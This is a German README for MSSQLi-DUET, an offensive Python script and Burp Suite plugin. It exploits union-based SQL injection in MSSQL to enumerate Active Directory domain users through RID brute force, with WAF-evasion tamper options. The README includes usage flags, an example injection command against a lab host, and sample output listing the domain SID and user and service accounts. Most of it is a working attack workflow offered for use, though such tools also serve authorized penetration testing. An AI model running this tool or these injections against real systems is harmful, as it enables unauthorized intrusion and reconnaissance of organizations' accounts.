
SQL-Injection-Skript für MSSQL, das Domänenbenutzer aus einer Active-Directory-Umgebung mittels RID-Brute-Force extrahiert
SQL-Injection-Skript für MSSQL, das Domänenbenutzer aus einer Active-Directory-Umgebung durch RID-Brute-Force extrahiert. Es unterstützt verschiedene WAF-Umgehungstechniken durch die Implementierung von SQLmap-Tamper-Funktionen. Weitere Tamper-Funktionen können vom Benutzer je nach Situation und Umgebung hinzugefügt werden.
Erhältlich in zwei Varianten: als Python-Skript für die Terminalnutzung oder als Burp-Suite-Plugin für eine einfache GUI-Navigation.
Unterstützt derzeit nur union-basierte Injection. Weitere Beispiele und Testfälle sind erforderlich, um die Funktionalität und Genauigkeit des Tools vollständig zu testen. Rückmeldungen und Kommentare sind sehr willkommen, falls eine Situation auftritt, in der es nicht funktioniert.
Eine individuelle Anpassung des Skripts und des Plugins an Ihre Bedürfnisse sollte ebenfalls nicht allzu schwierig sein. Lesen Sie unbedingt den Abschnitt „Hinweise“ für einige Fehlerbehebungen.
Nach dem Laden des Plugins in Burp Suite klicken Sie mit der rechten Maustaste auf eine Anfrage und senden Sie sie an MSSQLi-DUET. Weitere Details zu den Parametern usw. werden unten beschrieben.
Die Anfrage wird im Anfragefenster angezeigt, und nur die darüber liegenden Felder müssen ausgefüllt werden. Nach dem Start des Vorgangs wird die Ausgabe im Ergebnisausgabefeld platziert, um sie einfach kopieren und einfügen zu können.
python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
[-o OUTFILE] -r REQUEST_FILE
MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool
optional arguments:
-h, --help show this help message and exit
-i INJECTION, --injection INJECTION
Injection point. Provide only the data needed to
escape the query.
-e ENCODING, --encoding ENCODING
Type of encoding: unicode, doubleencode, unmagicquotes
-t TIME_DELAY, --time_delay TIME_DELAY
Time delay for requests.
-rid RID_RANGE, --rid_range RID_RANGE
Hypenated range of RIDs to bruteforce. Ex: 1000-1200
-ssl SSL, --ssl SSL Add flag for HTTPS
-p PARAMETER, --parameter PARAMETER
Vulnerable parameter
-proxy PROXY, --proxy PROXY
Proxy connection string. Ex: 127.0.0.1:8080
-o OUTFILE, --outfile OUTFILE
Outfile for username enumeration results.
-r REQUEST_FILE, --request_file REQUEST_FILE
Raw request file saved from Burp
Prepare to be enumerated!
Nachdem Sie eine union-basierte SQL-Injection in einer Anwendung identifiziert haben, kopieren Sie die Rohabfrage aus Burp Suite mit der Funktion „In Datei kopieren“.
Übergeben Sie die gespeicherte Anfrage mit der -r-Flagge an DUET. Geben Sie den anfälligen Parameter sowie den Injectionspunkt an. Wenn beispielsweise der Parameter „element“ anfällig für SQL-Injection ist, ist -p gleich „element“. DUET erstellt automatisch alle SQL-Injection-Abfragen, aber die Spezifikation für die erste Injection muss bereitgestellt werden. Das bedeutet, wenn die Injection aufgrund eines einzelnen Apostrophs nach den Parameterdaten erfolgt, wird dies für das -i-Argument angegeben.
Bsp.: test'
test'))
test")"
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] Collected request data:
Target URL = http://192.168.11.22/search2.php?element=carbon
Method = GET
Content-Type = applcation/x-www-form-urlencoded
[+] Determining the number of columns in the table...
[!] Number of columns is 3
[+] Determining column type...
[!] Column type is null
[+] Discovering domain name...
[+] Domain = NEUTRINO
[+] Discovering domain SID...
S-1-5-21-4142252318-1896537706-4233180933-
[+] Enumerating Active Directory via SIDs...
NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql
Das Skript muss möglicherweise geändert werden, abhängig von den Casting- und Typbeschränkungen der Spalten, die gefunden werden. Dies umfasst Änderungen, um die Spaltenposition der Payload zu wechseln, sowie die Abfragezeichenfolgen selbst zu ändern, um Spaltentypen zu berücksichtigen, die keine Fehler erzeugen.
Außerdem ist die Logik zur Bestimmung der Anzahl der Spalten derzeit nicht die beste, und bestimmte Vergleiche müssen möglicherweise auskommentiert werden, um eine ordnungsgemäße Bestimmung zu gewährleisten.
Insgesamt sollten Sie die Anfragen in Burp betrachten und das Skript nach Bedarf an die SQL-Injection-Umgebung anpassen, in der Sie sich befinden.
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/